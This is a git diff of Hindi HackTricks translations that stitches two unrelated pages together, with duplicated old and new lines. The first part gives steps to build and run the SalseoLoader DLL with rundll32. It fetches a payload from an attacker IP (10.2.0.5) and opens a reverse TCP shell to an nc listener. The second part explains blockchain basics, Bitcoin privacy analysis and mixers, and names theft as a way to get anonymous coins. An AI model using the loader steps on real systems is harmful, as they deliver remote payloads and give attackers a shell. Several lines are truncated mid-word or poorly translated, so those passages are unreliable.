**x64** **प्लेटफ़ॉर्म** चुनें (प्रोजेक्ट --> SalseoLoader Properties --> बिल्ड --> प्लेटफ़ॉर्म लक्ष्य = x64)
|
||||
**x64 प्लेटफ़ॉर्म** का चयन करें (परियोजना --> SalseoLoader गुण --> बिल्ड --> प्लेटफ़ॉर्म लक्ष्य = x64)
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (1).png>)
|
||||
|
||||
समाधान **बनाने** के लिए: बिल्ड --> बिल्ड समाधान (आउटपुट कंसोल के अंदर नए DLL का पथ दिखाई देगा)
|
||||
समाधान **बिल्ड** करने के लिए: बिल्ड --> समाधान बिल्ड करें (नए DLL का पथ आउटपुट कंसोल के अंदर दिखाई देगा)
|
||||
|
||||
### उत्पन्न Dll का परीक्षण करें
|
||||
|
||||
Dll को कॉपी करें और उसे जहां परीक्षण करना चाहते हैं वहां पेस्ट करें।
|
||||
Dll की प्रतिलिपि बनाएं और जहां आप इसे परीक्षण करना चाहते हैं, वहां पेस्ट करें।
|
||||
|
||||
निष्पादित करें:
|
||||
चलाएं:
|
||||
```
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
यदि कोई त्रुटि प्रकट नहीं होती है, तो संभवतः आपके पास एक कार्यात्मक DLL है!!
|
||||
यदि कोई त्रुटि प्रकट नहीं होती है, तो संभावित रूप से आपके पास एक कार्यात्मक DLL है!!
|
||||
|
||||
## DLL का उपयोग करके एक शेल प्राप्त करें
|
||||
## DLL का उपयोग करके शैल प्राप्त करें
|
||||
|
||||
**HTTP** **सर्वर** का उपयोग करना और **nc** **listener** सेट करना न भूलें
|
||||
**HTTP** **सर्वर** का उपयोग करना न भूलें और एक **nc** **सुनने वाला** सेट करें
|
||||
|
||||
### Powershell
|
||||
```
|
||||
|
@ -154,7 +158,9 @@ $env:lport="1337"
|
|||
$env:shell="reversetcp"
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
### सीएमडी
|
||||
### CMD
|
||||
|
||||
कमांड्स
|
||||
```
|
||||
set pass=password
|
||||
set payload=http://10.2.0.5/evilsalsax64.dll.txt
|
||||
|
@ -165,14 +171,14 @@ rundll32.exe SalseoLoader.dll,main
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ</strong>!</summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो करें**.
|
||||
* **अपनी हैकिंग ट्रिक्स साझा करें, HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके.
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks) github repos में PRs सबमिट करके।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,165 +1,173 @@
|
|||
```markdown
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से नायक तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
* अगर आप चाहते हैं कि **आपकी कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, **The PEASS Family** की खोज करें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या हमें **ट्विटर** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें** द्वारा **पीआर जमा करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# मूल शब्दावली
|
||||
# मूलभूत शब्दावली
|
||||
|
||||
* **स्मार्ट कॉन्ट्रैक्ट**: स्मार्ट कॉन्ट्रैक्ट्स बस **ब्लॉकचेन पर संग्रहीत प्रोग्राम होते हैं जो निर्धारित शर्तों के पूरा होने पर चलते हैं**। वे आमतौर पर **समझौते** के **निष्पादन** को स्वचालित करने के लिए इस्तेमाल होते हैं ताकि सभी प्रतिभागी तुरंत परिणाम के बारे में निश्चित हो सकें, बिना किसी मध्यस्थ की भागीदारी या समय की हानि के। (यहाँ से [here](https://www.ibm.com/topics/smart-contracts)).
|
||||
* मूल रूप से, एक स्मार्ट कॉन्ट्रैक्ट एक **कोड का टुकड़ा** है जो तब निष्पादित होगा जब लोग कॉन्ट्रैक्ट को एक्सेस करेंगे और स्वीकार करेंगे। स्मार्ट कॉन्ट्रैक्ट्स **ब्लॉकचेन में चलते हैं** (इसलिए परिणाम अपरिवर्तनीय रूप से संग्रहीत होते हैं) और उन्हें लोगों द्वारा स्वीकार करने से पहले पढ़ा जा सकता है।
|
||||
* **dApps**: **विकेंद्रीकृत अनुप्रयोग** स्मार्ट **कॉन्ट्रैक्ट्स** के ऊपर लागू किए जाते हैं। आमतौर पर उनके पास एक फ्रंट-एंड होता है जहाँ उपयोगकर्ता ऐप के साथ इंटरैक्ट कर सकते हैं, **बैक-एंड** सार्वजनिक होता है (इसलिए इसे ऑडिट किया जा सकता है) और इसे एक **स्मार्ट कॉन्ट्रैक्ट** के रूप में लागू किया जाता है। कभी-कभी डेटाबेस का उपयोग आवश्यक होता है, Ethereum ब्लॉकचेन प्रत्येक खाते को कुछ स्टोरेज आवंटित करता है।
|
||||
* **टोकन्स & कॉइन्स**: एक **कॉइन** एक क्रिप्टोकरेंसी होती है जो **डिजिटल** **मनी** के रूप में काम करती है और एक **टोकन** कुछ ऐसा होता है जो कुछ **मूल्य का प्रतिनिधित्व** करता है लेकिन वह कॉइन नहीं होता।
|
||||
* **यूटिलिटी टोकन्स**: ये टोकन्स उपयोगकर्ता को **बाद में किसी सेवा तक पहुँचने की अनुमति देते हैं** (यह कुछ ऐसा होता है जिसका किसी विशेष पर्यावरण में कुछ मूल्य होता है)।
|
||||
* **सिक्योरिटी टोकन्स**: ये किसी संपत्ति के **स्वामित्व** का प्रतिनिधित्व करते हैं।
|
||||
* **DeFi**: **विकेंद्रीकृत वित्त**।
|
||||
* **DEX: विकेंद्रीकृत एक्सचेंज प्लेटफॉर्म्स**।
|
||||
* **DAOs**: **विकेंद्रीकृत स्वायत्त संगठन**।
|
||||
* **स्मार्ट कॉन्ट्रैक्ट**: स्मार्ट कॉन्ट्रैक्ट सिर्फ एक **ब्लॉकचेन पर स्टोर किए गए प्रोग्राम हैं जो निश्चित स्थितियों को पूरा करने पर चलते हैं**। वे सामान्यत: **एक समझौते** के **क्रियान्वयन** को स्वचालित करने के लिए उपयोग किए जाते हैं ताकि सभी सहभागियों को परिणाम के बारे में तुरंत पता चल सके, किसी मध्यस्थ की सहायता या समय की हानि के बिना। (से [यहाँ](https://www.ibm.com/topics/smart-contracts)).
|
||||
* मूल रूप से, एक स्मार्ट कॉन्ट्रैक्ट एक **कोड का टुकड़ा** है जो लोगों के द्वारा एक समझौते को पहुंचने और स्वीकृत करने पर क्रियान्वित किया जाएगा। स्मार्ट कॉन्ट्रैक्ट **ब्लॉकचेन में चलते हैं** (इसलिए परिणाम स्थायी रूप से स्टोर होते हैं) और लोगों द्वारा स्वीकृत करने से पहले पढ़ा जा सकता है।
|
||||
* **डीएपी**: **डेसेंट्रलाइज्ड एप्लिकेशन** स्मार्ट कॉन्ट्रैक्टों के ऊपर लागू किए जाते हैं। उनके पास आम तौर पर एक फ्रंट-एंड होता है जिसमें उपयोगकर्ता एप्लिकेशन के साथ बातचीत कर सकते हैं, **बैक-एंड** सार्वजनिक होता है (ताकि इसे मूल्यांकन किया जा सके) और एक **स्मार्ट कॉन्ट्रैक्ट** के रूप में लागू किया जाता है। कभी-कभी डेटाबेस का उपयोग करना आवश्यक होता है, इथेरियम ब्लॉकचेन हर खाते के लिए निश्चित संग्रहण आवंटित करता है।
|
||||
* **टोकन और सिक्के**: एक **सिक्का** एक क्रिप्टोकरेंसी है जो **डिजिटल** **पैसा** के रूप में काम करता है और एक **टोकन** कुछ **मूल्य का प्रतिनिधित्व** करता है लेकिन यह एक सिक्का नहीं है।
|
||||
* **यूटिलिटी टोकन्स**: ये टोकन उपयोगकर्ता को **बाद में कुछ सेवा तक पहुंचने** की अनुमति देते हैं (यह किसी विशिष्ट वातावरण में कुछ मूल्य वाली चीज है)।
|
||||
* **सुरक्षा टोकन्स**: ये **स्वामित्व** या किसी संपत्ति का प्रतिनिधित्व करते हैं।
|
||||
* **डीफाई**: **डेसेंट्रलाइज्ड फाइनेंस**।
|
||||
* **डीईएक्स: डेसेंट्रलाइज्ड एक्सचेंज प्लेटफॉर्म्स**।
|
||||
* **डीएओएस**: **डेसेंट्रलाइज्ड ऑटोनोमस ऑर्गेनाइजेशन्स**।
|
||||
|
||||
# सहमति तंत्र
|
||||
|
||||
एक ब्लॉकचेन लेनदेन को मान्यता दी जाने के लिए, इसे **ब्लॉकचेन** में **जोड़ा** जाना चाहिए। वैलिडेटर्स (माइनर्स) यह जोड़ने का काम करते हैं; अधिकांश प्रोटोकॉल में, वे ऐसा करने के लिए **इनाम प्राप्त करते हैं**। ब्लॉकचेन को सुरक्षित रखने के लिए, इसमें एक तंत्र होना चाहिए जो **एक दुर्भावनापूर्ण उपयोगकर्ता या समूह को वैलिडेशन के बहुमत पर कब्जा करने से रोके**।
|
||||
एक ब्लॉकचेन लेनदारी को मान्य होने के लिए, इसे **ब्लॉकचेन** में **जोड़ा** जाना चाहिए। मान्यकर्ता (खानसामर्थक) इस जोड़ने का कार्य करते हैं; अधिकांश प्रोटोकॉल में, वे इसे करने के लिए **पुरस्कार प्राप्त** करते हैं। ब्लॉकचेन को सुरक्षित रखने के लिए, इसे **एक दुर्भाग्यपूर्ण उपयोगकर्ता या समूह से बड़ी संख्या में मान्यता प्राप्त करने से रोकने का एक तंत्र** होना चाहिए।
|
||||
|
||||
प्रूफ ऑफ वर्क, एक अन्य आमतौर पर इस्तेमाल किया जाने वाला सहमति तंत्र, लेनदेन की पुष्टि के लिए गणनात्मक क्षमता का मूल्यांकन करता है, जिससे एक संभावित हमलावर को वैलिडेटर नेटवर्क की बड़ी हिस्सेदारी की गणनात्मक शक्ति प्राप्त करनी पड़ती है।
|
||||
प्रूफ ऑफ वर्क, एक और सामान्यत: उपयोग किया जाने वाला सहमति तंत्र, सौजन्य की पुष्टि करने के लिए गणनात्मक प्रतिभा की पुष्टि करता है, लेनदारियों की पुष्टि के लिए एक संभावित हमलावर को वैध करने के लिए आवश्यक होता है कि वह वैधानिक सक्षमता का बड़ा हिस्सा प्राप्त करें।
|
||||
|
||||
## प्रूफ ऑफ वर्क (PoW)
|
||||
|
||||
यह **गणनात्मक क्षमता के मूल्यांकन** का उपयोग करके लेनदेन की पुष्टि करता है, जिससे एक संभावित हमलावर को वैलिडेटर नेटवर्क की बड़ी हिस्सेदारी की गणनात्मक शक्ति प्राप्त करनी पड़ती है।\
|
||||
**माइनर्स** कई लेनदेन का **चयन करेंगे** और फिर **प्रूफ ऑफ वर्क की गणना शुरू करेंगे**। **सबसे अधिक गणनात्मक संसाधनों वाला माइनर** अधिक संभावना से **पहले** प्रूफ ऑफ वर्क को **समाप्त करेगा** और सभी लेनदेनों की फीस प्राप्त करेगा।
|
||||
यह लेनदारियों **कई लेनदारियों को चुनेंगे** और फिर **प्रूफ ऑफ वर्क की गणना शुरू** करेंगे। **उपकर्णों में सबसे अधिक गणना संसाधनों वाला उपकर्ण** संभावना है कि **प्रूफ ऑफ वर्क को पहले** पूरा करेगा और सभी लेनदारियों के शुल्क प्राप्त करेगा।
|
||||
|
||||
## प्रूफ ऑफ स्टेक (PoS)
|
||||
|
||||
PoS इसे इस प्रकार पूरा करता है कि **वैलिडेटर्स के पास ब्लॉकचेन टोकन्स की कुछ मात्रा हो**, जिससे **संभावित हमलावरों को ब्लॉकचेन पर टोकन्स की बड़ी हिस्सेदारी प्राप्त करनी पड़ती है**।\
|
||||
इस प्रकार की सहमति में, जितने अधिक टोकन्स एक माइनर के पास होते हैं, उतना अधिक संभावना होती है कि माइनर को अगले ब्लॉक को बनाने के लिए कहा जाएगा।\
|
||||
PoW की तुलना में, इससे माइनर्स द्वारा खर्च की जा रही **ऊर्जा की खपत में काफी कमी** आई है।
|
||||
PoS इसे **आवश्यक करता है कि मान्यकर्ताओं के पास कुछ मात्रा में ब्लॉकचेन टोकन हों**, **संभावित हमलावरों को ब्लॉकचेन पर एक बड़ा हिस्सा अर्जित करने के लिए टोकन** की आवश्यकता होती है। इस प्रकार की सहमति में, जितने अधिक टोकन एक खननकर्ता के पास होंगे, उतनी ही संभावना है कि खननकर्ता को अगला ब्लॉक बनाने के लिए कहा जाएगा। PoW की तुलना में, इसने खननकर्ताओं द्वारा खपत की जा रही ऊर्जा को बहुत **कम कर दिया**।
|
||||
|
||||
# बिटकॉइन
|
||||
|
||||
## लेनदेन
|
||||
## लेनदारियाँ
|
||||
|
||||
एक साधारण **लेनदेन** एक पते से दूसरे पते पर **पैसे की चाल** होती है।\
|
||||
बिटकॉइन में एक **पता** **सार्वजनिक** **कुंजी** का हैश होता है, इसलिए, किसी को एक पते से लेनदेन करने के लिए उस सार्वजनिक कुंजी से जुड़ी निजी कुंजी जाननी होती है (पता)।\
|
||||
फिर, जब एक **लेनदेन** किया जाता है, तो यह पते की निजी कुंजी के साथ **हस्ताक्षरित** होता है ताकि दिखाया जा सके कि लेनदेन **वैध** है।
|
||||
एक सरल **लेनदारी** एक **पते से पैसे की चलन** है।
|
||||
एक **पता** बिटकॉइन में **जनरेट की गई सार्वजनिक कुंजी का हैश है**, इसलिए, किसी को एक पते से लेनदारी करने के लिए उसे उस सार्वजनिक कुंजी (पते) से जुड़े निजी कुंजी का पता होना चाहिए।
|
||||
फिर, जब एक **लेनदारी** किया जाता है, तो उसे उस पते की निजी कुंजी के साथ **साइन किया जाता है** ताकि लेनदारी का **वैध** होने का प्रदर्शन किया जा सके।
|
||||
|
||||
बिटकॉइन में एक डिजिटल हस्ताक्षर उत्पन्न करने का पहला भाग निम्नलिखित तरीके से गणितीय रूप में प्रस्तुत किया जा सकता है:\
|
||||
_**Sig**_ = _**Fsig**_(_**Fhash**_(_**m**_),_**dA**_)
|
||||
बिटकॉइन में एक डिजिटल हस्ताक्षर उत्पादित करने का पहला भाग गणितीय रूप से निम्नलिखित रूप में प्रस्तुत किया जा सकता है:
|
||||
_**सिग**_ = _**एफसिग**_(_**एफहैश**_(_**एम**_),_**डीए**_)
|
||||
|
||||
जहाँ:
|
||||
|
||||
* \_d\_A हस्ताक्षर करने वाली **निजी कुंजी** है
|
||||
* _m_ **लेनद
|
||||
* \_डी\_ए चिह्नन **निजी कुंजी** है
|
||||
* _एम_ लेनदारी है
|
||||
* एफहैश है हैशिंग फ़ंक्शन
|
||||
* एफसिग है साइनिंग एल्गोरिथम
|
||||
* सिग परिणामकारी हस्ताक्षर है
|
||||
|
||||
साइनिंग फ़ं
|
||||
```
|
||||
2 btc --> 4 btc
|
||||
3 btc 1 btc
|
||||
```
|
||||
यह मानते हुए कि एक आउटपुट चेंज है और दूसरा आउटपुट भुगतान है। दो व्याख्याएं हैं: भुगतान आउटपुट या तो 4 BTC का आउटपुट है या 1 BTC का आउटपुट है। लेकिन अगर 1 BTC आउटपुट भुगतान राशि है तो 3 BTC इनपुट अनावश्यक है, क्योंकि वॉलेट केवल 2 BTC इनपुट का उपयोग करके भुगतान कर सकता था और इससे कम माइनर शुल्क देना पड़ता। यह एक संकेत है कि वास्तविक भुगतान आउटपुट 4 BTC है और 1 BTC चेंज आउटपुट है।
|
||||
मान लें कि एक का आउटपुट चेंज है और दूसरा आउटपुट भुगतान है। दो व्याख्यान हैं: भुगतान आउटपुट या 4 BTC आउटपुट है या 1 BTC आउटपुट है। लेकिन अगर 1 BTC आउटपुट भुगतान राशि है तो 3 BTC इनपुट अनावश्यक है, क्योंकि वॉलेट केवल 2 BTC इनपुट खर्च कर सकती थी और इसके लिए कम माइनर शुल्क देना पड़ता। यह एक संकेत है कि वास्तविक भुगतान आउटपुट 4 BTC है और 1 BTC चेंज आउटपुट है।
|
||||
|
||||
यह उन लेन-देन के लिए एक समस्या है जिनमें एक से अधिक इनपुट होते हैं। इस लीक को ठीक करने का एक तरीका इतने इनपुट जोड़ना है जब तक कि चेंज आउटपुट किसी भी इनपुट से अधिक न हो, उदाहरण के लिए:
|
||||
यह वह समस्या है जिसके लिए ट्रांजैक्शन में एक से अधिक इनपुट होते हैं। इस लीक को ठीक करने का एक तरीका यह है कि चेंज आउटपुट को किसी भी इनपुट से अधिक बनाने के लिए अधिक इनपुट जोड़ें, उदाहरण के लिए:
|
||||
```
|
||||
2 btc --> 4 btc
|
||||
3 btc 6 btc
|
||||
5 btc
|
||||
```
|
||||
## जबरन पता पुन: उपयोग
|
||||
## मजबूर पता पुनरउपयोग
|
||||
|
||||
**जबरन पता पुन: उपयोग** या **प्रोत्साहित पता पुन: उपयोग** तब होता है जब एक आक्रमणकारी ब्लॉक चेन पर पहले से इस्तेमाल किए गए पतों पर बिटकॉइन की (अक्सर छोटी) राशि भेजता है। आक्रमणकारी की उम्मीद होती है कि उपयोगकर्ता या उनके वॉलेट सॉफ्टवेयर **भुगतानों को एक बड़े लेनदेन के इनपुट के रूप में उपयोग करेंगे जो सामान्य-इनपुट-स्वामित्व** ह्यूरिस्टिक के माध्यम से अन्य पतों का खुलासा करेगा। ये भुगतान अनजाने में पता पुन: उपयोग करने के लिए पता मालिक को विवश करने का एक तरीका समझा जा सकता है।
|
||||
**मजबूर पता पुनरउपयोग** या **प्रोत्साहित पता पुनरउपयोग** एक प्रकार की है जब एक प्रतिकूल व्यक्ति ब्लॉक श्रृंखला पर पहले से ही उपयोग किए गए पतों को बिटकॉइन की एक (अक्सर छोटी) राशि देता है। विरोधी उम्मीद करता है कि उपयोगकर्ता या उनका वॉलेट सॉफ़्टवेयर **भुगतान को एक बड़े लेन-देन के लिए इनपुट के रूप में उपयोग करेंगे जिससे कि सामान्य-इनपुट-स्वामित्व** सूत्र के माध्यम से अन्य पतों को पता चल सके। ये भुगतान अप्रत्याशित पता पुनरउपयोग में पता मालिक को अनजाने में पता पुनरउपयोग में मजबूर करने के रूप में समझे जा सकते हैं।
|
||||
|
||||
इस हमले को कभी-कभी गलत तरीके से **डस्ट हमला** कहा जाता है।
|
||||
यह हमला कभी-कभी गलती से **धूल अटैक** कहलाता है।
|
||||
|
||||
वॉलेट्स द्वारा सही व्यवहार यह है कि पहले से इस्तेमाल किए गए खाली पतों पर आए सिक्कों को खर्च न किया जाए।
|
||||
वॉलेट्स का सही व्यवहार यह है कि खाली पतों पर जमी मुद्रा को खर्च न करें।
|
||||
|
||||
## अन्य ब्लॉकचेन विश्लेषण
|
||||
|
||||
* **सटीक भुगतान राशियाँ**: चेंज के साथ लेनदेन से बचने के लिए, भुगतान को UTXO के बराबर होना चाहिए (जो बहुत अप्रत्याशित है)। इसलिए, **कोई चेंज पता नहीं होने वाला लेनदेन संभवतः एक ही उपयोगकर्ता के 2 पतों के बीच स्थानांतरण है**।
|
||||
* **गोल संख्याएँ**: एक लेनदेन में, यदि कोई आउटपुट "**गोल संख्या**" है, तो यह बहुत संभावना है कि यह एक **मानव को भुगतान है जिसने उस** "गोल संख्या" **मूल्य निर्धारित किया है**, इसलिए दूसरा हिस्सा बचा हुआ होना चाहिए।
|
||||
* **वॉलेट फिंगरप्रिंटिंग:** एक सावधान विश्लेषक कभी-कभी यह अनुमान लगा सकता है कि किस सॉफ्टवेयर ने एक निश्चित लेनदेन बनाया है, क्योंकि **विभिन्न वॉलेट सॉफ्टवेयर हमेशा लेनदेन को बिल्कुल एक ही तरीके से नहीं बनाते हैं**। वॉलेट फिंगरप्रिंटिंग का उपयोग चेंज आउटपुट का पता लगाने के लिए किया जा सकता है क्योंकि चेंज आउटपुट वह होता है जिसे उसी वॉलेट फिंगरप्रिंट के साथ खर्च किया जाता है।
|
||||
* **राशि और समय संबंध**: यदि लेनदेन करने वाला व्यक्ति **समय** और/या **राशि** का **खुलासा** करता है, तो इसे आसानी से **पता लगाया जा सकता है**।
|
||||
* **सटीक भुगतान राशियाँ**: परिवर्तन के साथ लेन-देन से बचने के लिए, भुगतान को UTXO के बराबर होना चाहिए (जो अत्यधिक अपेक्षित है)। इसलिए, एक **भुगतान जिसमें कोई परिवर्तन पता नहीं है, संभावना है कि यह एक उपयोगकर्ता के दो पतों के बीच स्थानांतरण है**।
|
||||
* **गोल नंबर**: एक लेन-देन में, यदि आउटपुट में से एक "**गोल नंबर**" है, तो यह उचित है कि यह एक **इंसान को भुगतान करने के लिए भेजा गया है** "गोल नंबर" **मूल्य**, इसलिए अन्य हिस्सा बचा हुआ होना चाहिए।
|
||||
* **वॉलेट फिंगरप्रिंटिंग:** एक सावधान विश्लेषक कभी-कभी यह निर्धारित कर सकता है कि कौन सा सॉफ़्टवेयर निर्मित किया गया था क्योंकि **कई विभिन्न वॉलेट सॉफ़्टवेयर हमेशा बिल्कुल एक ही तरीके से लेन-देन नहीं करते**। वॉलेट फिंगरप्रिंटिंग का उपयोग परिवर्तन आउटपुट का पता लगाने के लिए किया जा सकता है क्योंकि एक परिवर्तन आउटपुट वह है जिसे एक ही वॉलेट फिंगरप्रिंट के साथ खर्च किया गया है।
|
||||
* **राशि और समय संबंध**: यदि व्यक्ति जिसने लेन-देन किया है **समय** और/या **राशि** को **खुलासा** करता है, तो इसे आसानी से **खोजा जा सकता है**।
|
||||
|
||||
## ट्रैफिक विश्लेषण
|
||||
|
||||
कुछ संगठन **आपके ट्रैफिक को सूंघकर** आपको बिटकॉइन नेटवर्क में संवाद करते हुए देख सकते हैं।\
|
||||
यदि आक्रमणकारी आपके नोड से एक लेनदेन या ब्लॉक **बाहर आते हुए देखता है जो पहले प्रवेश नहीं किया था**, तो वह लगभग निश्चितता के साथ जान सकता है कि **लेनदेन आपके द्वारा किया गया था या ब्लॉक आपके द्वारा खनन किया गया था**। इंटरनेट कनेक्शनों के शामिल होने के कारण, आक्रमणकारी **IP पते को खोजे गए बिटकॉइन जानकारी से जोड़ने में सक्षम होगा**।
|
||||
कुछ संगठन **आपके ट्रैफिक को स्निफ़ कर सकते हैं** जिसमें आप बिटकॉइन नेटवर्क में संचार कर रहे हैं।\
|
||||
यदि प्रतिकूल एक लेन-देन या ब्लॉक देखता है **जो पहले से आपके नोड से नहीं गया था**, तो यह यह जान सकता है कि **लेन-देन आपके द्वारा किया गया था या ब्लॉक आपके द्वारा खनित किया गया था**। इंटरनेट कनेक्शन शामिल होने के कारण, प्रतिकूल व्यक्ति को खोजे गए बिटकॉइन सूचनाओं के साथ IP पता जोड़ने में सक्षम होगा।
|
||||
|
||||
एक हमलावर जो सभी इंटरनेट ट्रैफिक को सूंघ नहीं सकता है लेकिन जिसके पास **बहुत सारे बिटकॉइन नोड्स** हैं ताकि वह **स्रोतों के करीब** रह सके, वह उन IP पतों को जान सकता है जो लेनदेन या ब्लॉक की घोषणा कर रहे हैं।\
|
||||
इसके अलावा, कुछ वॉलेट्स अपने अपुष्ट लेनदेनों को समय-समय पर पुन: प्रसारित करते हैं ताकि वे नेटवर्क के माध्यम से व्यापक रूप से प्रसारित होने और खनन किए जाने की संभावना रखते हैं।
|
||||
एक हमलावर जो सभी इंटरनेट ट्रैफिक को स्निफ़ नहीं कर सकता है लेकिन जिसके पास **बहुत सारे बिटकॉइन नोड** हैं ताकि वह **स्रोतों के करीब रह सके** वह यह जान सकता है कि कौन से IP पते लेन-देन या ब्लॉक की घोषणा कर रहे हैं।\
|
||||
इसके अलावा, कुछ वॉलेट समय-समय पर अपने अनपुष्ट लेन-देन को फिर से प्रसारित करते हैं ताकि वे व्यापक रूप से प्रसारित हो सकें और खनित किए जा सकें।
|
||||
|
||||
## पतों के मालिक के बारे में जानकारी खोजने के लिए अन्य हमले
|
||||
## पतों के मालिक के बारे में जानकारी प्राप्त करने के लिए अन्य हमले
|
||||
|
||||
अधिक हमलों के लिए पढ़ें [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy)
|
||||
|
||||
# गुमनाम बिटकॉइन्स
|
||||
# अनाम बिटकॉइन
|
||||
|
||||
## गुमनाम रूप से बिटकॉइन्स प्राप्त करना
|
||||
## बिटकॉइन गुमनामता से प्राप्त करना
|
||||
|
||||
* **नकद व्यापार:** नकद का उपयोग करके बिटकॉइन खरीदें।
|
||||
* **नकद प्रतिस्थापन:** उपहार कार्ड या इसी तरह की चीजें खरीदें और उन्हें ऑनलाइन बिटकॉइन के लिए विनिमय करें।
|
||||
* **खनन:** खनन बिटकॉइन प्राप्त करने का सबसे गुमनाम तरीका है। यह [माइनिंग पूल्स](https://en.bitcoin.it/wiki/Pooled\_mining) के लिए भी लागू होता है क्योंकि आम तौर पर वे हैशर के IP पते को जानते हैं।
|
||||
* **चोरी:** सिद्धांत रूप में गुमनाम बिटकॉइन प्राप्त करने का एक और तरीका उन्हें चुराना है।
|
||||
* **नकद के समर्थक:** गिफ्ट कार्ड या समान क्रय करें और उन्हें ऑनलाइन बिटकॉइन के लिए विनिमय करें।
|
||||
* **खनन:** खनन सबसे गुमनाम तरीका है बिटकॉइन प्राप्त करने का। यह सोलो-खनन के लिए लागू है क्योंकि [खनन पूल](https://en.bitcoin.it/wiki/Pooled\_mining) आम तौर पर हैशर का IP पता जानते हैं।
|
||||
* **चोरी:** सिद्धांत में एक और गुमनाम बिटकॉइन प्राप्त करने का तरीका है उन्हें चुराना।
|
||||
|
||||
## मिक्सर्स
|
||||
## मिक्सर
|
||||
|
||||
एक उपयोगकर्ता **मिक्सिंग सेवा को बिटकॉइन भेजेगा** और सेवा **उपयोगकर्ता को अलग बिटकॉइन वापस भेजेगी**, शुल्क काटकर। सिद्धांत रूप में एक आक्रमणकारी जो ब्लॉकचेन का निरीक्षण कर रहा है, **आने वाले और जाने वाले लेनदेन को जोड़ नहीं पाएगा**।
|
||||
